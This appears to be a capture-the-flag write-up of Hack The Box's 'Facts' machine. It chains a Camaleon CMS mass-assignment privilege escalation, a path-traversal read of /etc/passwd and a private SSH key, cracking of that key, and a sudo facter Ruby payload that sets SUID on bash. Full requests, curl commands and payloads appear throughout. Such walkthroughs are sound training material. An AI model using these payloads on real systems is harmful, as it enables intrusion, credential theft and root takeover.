Skip to main content
HTB: Facts
  1. Posts/

HTB: Facts

Table of Contents

Introduction
#

Facts started with a blog-type website featuring a signup/login function accessible via a redirect from /admin endpoint. I was able to create an account and log in with a ‘Customer’ role. Using a CVE in Camaleon CMS, version 2.9.0, I escalated my access to an ‘Administrator’ role. Thanks to Camaleon CMS being an open source service, I went over its code and discovered a new endpoint, /admin/media/download_private_file, which I abused to get user information and an SSH key to establish a foothold on the host. To get root, I used sudo privileges over facer and wrote a malicious Ruby script to set the SUID bit to the system’s bash shell and get a root session.

nmap
#

nmap finds two open TCP ports, SSH (22) and HTTP (80):

sudo nmap -sC -sV -vv -oA nmap_scan/nmap_results 10.129.68.208
  • -sC for defaults scripts
  • -sV enumerate version
  • -vv double verbose
  • -oA output in all formats
PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 9.9p1 Ubuntu 3ubuntu3.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4d:d7:b2:8c:d4:df:57:9c:a4:2f:df:c6:e3:01:29:89 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBNYjzL0v+zbXt5Zvuhd63ZMVGK/8TRBsYpIitcmtFPexgvOxbFiv6VCm9ZzRBGKf0uoNaj69WYzveCNEWxdQUww=
|   256 a3:ad:6b:2f:4a:bf:6f:48:ac:81:b9:45:3f:de:fb:87 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIPCNb2NXAGnDBofpLTCGLMyF/N6Xe5LIri/onyTBifIK
80/tcp open  http    syn-ack ttl 63 nginx 1.26.3 (Ubuntu)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.26.3 (Ubuntu)
|_http-title: Did not follow redirect to http://facts.htb/
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

There is http://facts.htb/, add facts.htb to /etc/hosts.

Web - TCP 80
#

The page is pretty empty, it is a blog-type site, nothing interesting there.

Web1
Web2
Web3

Subdomain enum
#

As I have the domain name, I tried to find any available subdomains of facts.htb, but found nothing:

└─$ ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ -u http://facts.htb/ -H 'Host: FUZZ.facts.htb' -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://facts.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
 :: Header           : Host: FUZZ.facts.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

:: Progress: [220561/220561] :: Job [1/1] :: 1086 req/sec :: Duration: [0:03:58] :: Errors: 0 ::

Directory bruteforce
#

Dir search gives me nice redirect to a login page:

└─$ feroxbuster -u http://facts.htb --dont-extract-links
 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://facts.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)7
 🦡  User-Agent            │ feroxbuster/2.11.0
 💉  Config File           │ /etc/feroxbuster/ferox-config.toml
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET      121l      443w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                                                 
200      GET      124l      552w        -c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter                                                                                                                                 
200      GET      271l     1166w    19187c http://facts.htb/search
302      GET        0l        0w        0c http://facts.htb/admin => http://facts.htb/admin/login
200      GET      281l     1177w    19593c http://facts.htb/page
500      GET      114l      574w     7918c http://facts.htb/error
200      GET        0l        0w        0c http://facts.htb/ajax
200      GET        8l       11w      183c http://facts.htb/rss
200      GET      114l      371w     4836c http://facts.htb/404
200      GET      129l      132w     3508c http://facts.htb/sitemap
200      GET       18l       95w     8226c http://facts.htb/captcha
200      GET        1l        4w       73c http://facts.htb/up
404      GET      114l      371w     4836c http://facts.htb/~
200      GET        1l        2w       33c http://facts.htb/robots
<SNIP>

A login page under admin:

admin

And I can even create an account and log in:

create acc
login

Dashboard - privesc
#

Looking around the dashboard, there is not much to do. I can update my profile - note #ID 5 - maybe there is some IDOR?

When I try to update some information the request is sent to /admin/users/5

idor

ID 5 suggests the accounts are numbered sequentially from 1 to n - the first account is likely to be admin. Hold that!

At the bottom I see Camaleon CMS. version 2.9.0.

Googling for Camaleon CMS. 2.9.0 points me towards a (CVE-2025-2304)[https://nvd.nist.gov/vuln/detail/CVE-2025-2304]

A Privilege Escalation through a Mass Assignment exists in Camaleon CMS. When a user wishes to change his password, the ‘updated_ajax’ method of the UsersController is called. The vulnerability stems from the use of the dangerous permit! method, which allows all parameters to pass through without any filtering.

(A quick note: I get a spoiler here (doing the box 4 days after release) - The first hit I get is (THIS)[https://github.com/predyy/CVE-2025-2304] repo - it even has http://facts.htb in its code, so … I am on the right path, but also not the way I wanted - for future reference limit the date range of the search to include only results before the release date.)

After I added the time filter to the Google search I still got CVE-2025-2304 in the form of (THIS)[https://github.com/advisories/GHSA-rp28-mvq3-wf8j] advisory.

Conviniently, it links to (THIS)[https://www.tenable.com/security/research/tra-2025-09] explanation:

When a user wishes to change his password, the ‘updated_ajax’ method of the UsersController is called.

def updated_ajax
  @user = current_site.users.find(params[:user_id])
  update_session = current_user_is?(@user)

  @user.update(params.require(:password).permit!)
  render inline: @user.errors.full_messages.join(', ')

  # keep user logged in when changing their own password
  update_auth_token_in_cookie @user.auth_token if update_session && @user.saved_change_to_password_digest?
end

The vulnerability stems from the use of the dangerous permit! method, which allows all parameters to pass through without any filtering.

An attacker can exploit this vulnerability by submitting a request with an extra parameter that includes the role attribute allowing a user with limited privileges to become an administrator.

So I intercepted the “change password” request and added some parameters:

change password
POST /admin/users/5/updated_ajax HTTP/1.1
Host: facts.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://facts.htb/admin/profile/edit
X-CSRF-Token: JJSiChDrNzFi-Z6rZLoWrHKHhl9mfJHhcJ46asa32Z5WpKen9Tdwp6lDHrewmecGoDLBIMyxHLrejH6_b7A40g
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 228
Origin: http://facts.htb
Connection: keep-alive
Cookie: _factsapp_session=uXQvCo7WAORkm%2F%2FTOAJXCMyLt2%2BUW8lAQ%2FCZtYcGqagDz6nV2TPFNe1XNnf1PquR4jbx35mBO%2FwutepT5A9jogrfixY2MdS48Sr4%2FkdrhkeYvRims4zDfLuKlk50%2BrjPihSGQElE0u7Pvkt24Ey7Z5Sykyfjgd%2FNLJIT1hnscbYQ%2FeRhNOMt1h8AqAQLbQFV8emNTg2HDamstFlOVImFFkNjRmLeH99kOHJgCXDcT5X0bbDvP4vPE3cTLMIhzdH3oavXW4ha%2BjrtvbR0UGZPaS79o6HrDus4ciUqO7HTrzpEDVHhnzo77HeXxvBp1yTjPrLSD8YB9PuFmAptKg%2Bt9p%2FPMFclV8ywgq5w9v8bBr7i%2BTGBTGaFE%2Fk%3D--l1NPd3zNOMopTM8U--6KRvQvFqRuaPRTtvTfdtpg%3D%3D; auth_token=pTMDNe7r00cdn4MWDzwbVQ&Mozilla%2F5.0+%28X11%3B+Linux+x86_64%3B+rv%3A128.0%29+Gecko%2F20100101+Firefox%2F128.0&10.10.14.162
Priority: u=0

_method=patch&authenticity_token=JJSiChDrNzFi-Z6rZLoWrHKHhl9mfJHhcJ46asa32Z5WpKen9Tdwp6lDHrewmecGoDLBIMyxHLrejH6_b7A40g&password%5Bpassword%5D=tester&password%5Bpassword_confirmation%5D=tester&role=admin&password%5Brole%5D=admin

The original parameters were in the form of: - password[password] - password[password_confirmation] So I added both - role - password[role] just to be sure.

And I got the admin rights:

admin
admin

Ok, next step.

When playing around I noticed some unusual (unexpected by me) behavior. In the Media section when I clicked on the image URL it automatically downloaded it instead of showing me the image in new tab or something more standard.

media

Shell as trivia
#

Path Traversal
#

I tried to intercept the download request but nothing showed up in neither burp nor the network tab. This led me to the source code where I discovered this (FILE)[https://github.com/owen2345/camaleon-cms/blob/2.9.0/spec/requests/admin/media_controller/download_private_file_spec.rb]

# frozen_string_literal: true

require 'rails_helper'

RSpec.describe 'Download private file requests', type: :request do
  init_site

  let(:current_site) { Cama::Site.first.decorate }

  before do
    allow_any_instance_of(CamaleonCms::Admin::MediaController).to receive(:cama_authenticate)
    allow_any_instance_of(CamaleonCms::Admin::MediaController).to receive(:current_site).and_return(current_site)
  end

  context 'when the file path is valid and file exists' do
    before do
      allow_any_instance_of(CamaleonCmsLocalUploader).to receive(:fetch_file).and_return('some_file')

      allow_any_instance_of(CamaleonCms::Admin::MediaController).to receive(:send_file)
      allow_any_instance_of(CamaleonCms::Admin::MediaController).to receive(:default_render)
    end

    it 'allows the file to be downloaded' do
      expect_any_instance_of(CamaleonCms::Admin::MediaController).to receive(:send_file).with('some_file', disposition: 'inline')

      get '/admin/media/download_private_file', params: { file: 'some_file' }
    end
  end

  context 'when file path is invalid' do
    it 'returns invalid file path error' do
      get '/admin/media/download_private_file', params: { file: './../../../../../etc/passwd' }

      expect(response.body).to include('Invalid file path')
    end
  end

  context 'when the file is not found' do
    it 'returns file not found error' do
      get '/admin/media/download_private_file', params: { file: 'passwd' }

      expect(response.body).to include('File not found')
    end
  end
end

This is an RSpec test suite for a Rails endpoint that handles downloading private files from a media controller (/admin/media/download_private_file).

There are some protections for path traversal but it seems like the test only checks one specific traversal pattern, I should be able to use different techniques (URL encoding, absolute paths, etc.)

Most importantly, this gives me new endpoint: /admin/media/download_private_file I can play with.

To use that I tried a few curl requests:

First, the vulnerability is behind authentication, so I needed to capture a valid session cookie:

└─$ TOKEN=$(curl -s -c cookies.txt http://facts.htb/admin/login | \
grep -oP 'name="authenticity_token" value="\K[^"]+')
                                                                                                                                    

└─$ curl -s -b cookies.txt -c cookies.txt -X POST "http://facts.htb/admin/login" \
    --data-urlencode "authenticity_token=$TOKEN" \
    --data-urlencode "user[username]=0o176" \
    --data-urlencode "user[password]=tester" \
    -o /dev/null

└─$ cat cookies.txt                                                               
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.

facts.htb       FALSE   /       FALSE   1770286368      auth_token      gjXT9lV4kdtUavtBVHwerA&curl%2F8.14.1&10.10.14.162
#HttpOnly_facts.htb     FALSE   /       FALSE   0       _factsapp_session       Xeg957iuTEkfVPMlXYE%2B3W6hKvAHrY2XG%2BieAticgruIDnHEQANwX5EkvF9tYul2KZsXc533WRykf9G1RNrRMHE3tzxT6pavNprK2MfCZw3G9RHxpAjXDmkKwPtfvyI7JCQIZwsKGIkJy0CPqEVPfY1VecT8FnmPfr6%2BriSaabns3YE7%2BJC64zinIRHBDpn2u0LLlQRdbV%2BL5zbCB5VE7ky4n%2BfzvQhi2XFKG1RLdvnF%2FPLR4kbJ3I%2FMdVux4So8dV9lg2GtM7SIT%2BiDIqVlEXIzOKh6wQAZ9bJhzALcjFPrxu0sY2GwYtaG0%2BEEdWN6HDaodisENO3NtU7c9bxZsBLIwP7mQNuJUs9zjZZNR3lwEv2jasmbakXX6ZzwVWc9iEkruC7rAPD2pNqNQl2J8UFq6mn1Xc4PFKQ2N2ED%2BqzW--r5x0qdkMek4eaVSX--zO8iEtdgClKbGJFhPh6gMw%3D%3D

How it works
#

  1. GET Request: The server generates a unique token (authenticity_token) and a session ID (stored in cookies.txt).
  2. POST Request: The server verifies that the token you sent matches the one tied to your session ID.
  3. LFI Request: Since your session is now marked as “Logged In” on the server side, I am granted access to the download_private_file function.

With the cookies safely stored in the txt file I can try to hit the vulnerable endpoint:

└─$ curl -s -b cookies.txt "http://facts.htb/admin/media/download_private_file?file=../../../../../../../../../../etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
usbmux:x:100:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:102:102::/nonexistent:/usr/sbin/nologin
systemd-resolve:x:992:992:systemd Resolver:/:/usr/sbin/nologin
pollinate:x:103:1::/var/cache/pollinate:/bin/false
polkitd:x:991:991:User for polkitd:/:/usr/sbin/nologin
syslog:x:104:104::/nonexistent:/usr/sbin/nologin
uuidd:x:105:105::/run/uuidd:/usr/sbin/nologin
tcpdump:x:106:107::/nonexistent:/usr/sbin/nologin
tss:x:107:108:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:108:109::/var/lib/landscape:/usr/sbin/nologin
fwupd-refresh:x:989:989:Firmware update daemon:/var/lib/fwupd:/usr/sbin/nologin
sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
trivia:x:1000:1000:facts.htb:/home/trivia:/bin/bash
william:x:1001:1001::/home/william:/bin/bash
_laurel:x:101:988::/var/log/laurel:/bin/false

This gives me valuable info, not only I did I confirm the vulnerability I also got users on the host I will use for the next step.

SSH access
#

With the user - trivia - I can try to look into a /.ssh folder:

└─$ curl -s -b cookies.txt "http://facts.htb/admin/media/download_private_file?file=../../../../../../../../../../home/trivia/.ssh/id_ed25519" > id_ed25519_trivia

(First I looked for id_rsa but hat to settle for this)

└─$ cat id_ed25519_trivia
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAACmFlczI1Ni1jdHIAAAAGYmNyeXB0AAAAGAAAABBXRlDbU0
9MG98mTuddrNgOAAAAGAAAAAEAAAAzAAAAC3NzaC1lZDI1NTE5AAAAIGNyQCT/PAgbHXKA
dkFKe5sEuUlUutJ5S+ZwVyTOHnCVAAAAoGgB4wwp21Mv8Zzc25tBmScjNX9sUOY4hpcgQY
TDBXKiwAcdroxkw0XFz5TsZ3LyglwzHR7IPsIFRx7HoTWAz+LFWDTGwlH7ZgkbxgfRxqkm
9jstrwinzr0cWyHZqc1Hdtfj7+3bgnhtgyELpg8rQHS/NGAylK3005h2PnZH6oyk/ZodAc
T9pJQrYWC2wiTlR5zj9wjvLJG9vx+Aj+0R8DA=
-----END OPENSSH PRIVATE KEY-----

As expected I couldnt just use the key to ssh in:

└─$ chmod 600 id_ed25519_trivia 
                                                                                                                                    
└─$ ssh -i id_ed25519_trivia trivia@10.129.68.208
Enter passphrase for key 'id_ed25519_trivia': 
trivia@10.129.68.208's password: 

First, I need to crack it to get the password:

└─$ ssh2john id_ed25519_trivia > trivia_hash
                                                                                                                                    
└─$ john trivia_hash --wordlist=~/Tools/rockyou.txt 
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes
Cost 2 (iteration count) is 24 for all loaded hashes
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
dragonballz      (id_ed25519_trivia)     
1g 0:00:01:36 DONE (2026-02-04 05:20) 0.01035g/s 33.29p/s 33.29c/s 33.29C/s grecia..school1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

It gives me the answer pretty quickly and I can log in:

└─$ ssh -i id_ed25519_trivia trivia@10.129.68.208
Enter passphrase for key 'id_ed25519_trivia': 
Last login: Wed Jan 28 16:17:19 UTC 2026 from 10.10.14.4 on ssh
Welcome to Ubuntu 25.04 (GNU/Linux 6.14.0-37-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Wed Feb  4 10:21:49 AM UTC 2026

  System load:           0.0
  Usage of /:            73.7% of 7.28GB
  Memory usage:          19%
  Swap usage:            0%
  Processes:             219
  Users logged in:       1
  IPv4 address for eth0: 10.129.68.208
  IPv6 address for eth0: dead:beef::250:56ff:fe94:be9d


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
trivia@facts:~$

From there I can grab the user flag. It is stored in william’s folderm but I have access there too.

trivia@facts:/home$ ls
trivia  william
trivia@facts:/home$ cd william
trivia@facts:/home/william$ ls
user.txt
trivia@facts:/home/william$ cat user.txt
e239dbbcaa7c89a3a38e2c8043a9b6cf

Root
#

Starting with classic sudo -l, I get a hit:

trivia@facts:/home/william$ sudo -l
Matching Defaults entries for trivia on facts:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User trivia may run the following commands on facts:
    (ALL) NOPASSWD: /usr/bin/facter

Facter has a feature that allows me to load custom plugins, and that is the way in.

By using the --custom-dir argument, I can redirect Facter to a malicious Ruby script. When Facter is run with sudo, it loads and executes the script with UID 0 (root) authority.

Payload
#

For the payload itself, it is a simple one-liner:

echo 'Facter.add(:rooting) do setcode { system("chmod +s /bin/bash") } end' > /tmp/root.rb

This definition, when executed by Facter, will set the SUID bit on the /bin/bash and save this Facter definition to a file /tmp/root.rb.

Noew I can run the facer:

sudo /usr/bin/facter --custom-dir=/tmp/ rooting

It ran successfuly and all that remains it to pop the root shell:

trivia@facts:/tmp$ bash -p
bash-5.2# id
uid=1000(trivia) gid=1000(trivia) euid=0(root) egid=0(root) groups=0(root),1000(trivia)
bash-5.2# cat /root/root.txt
ccce6133dfaa5288ab15a51e4189834e

And that is all!

Author
~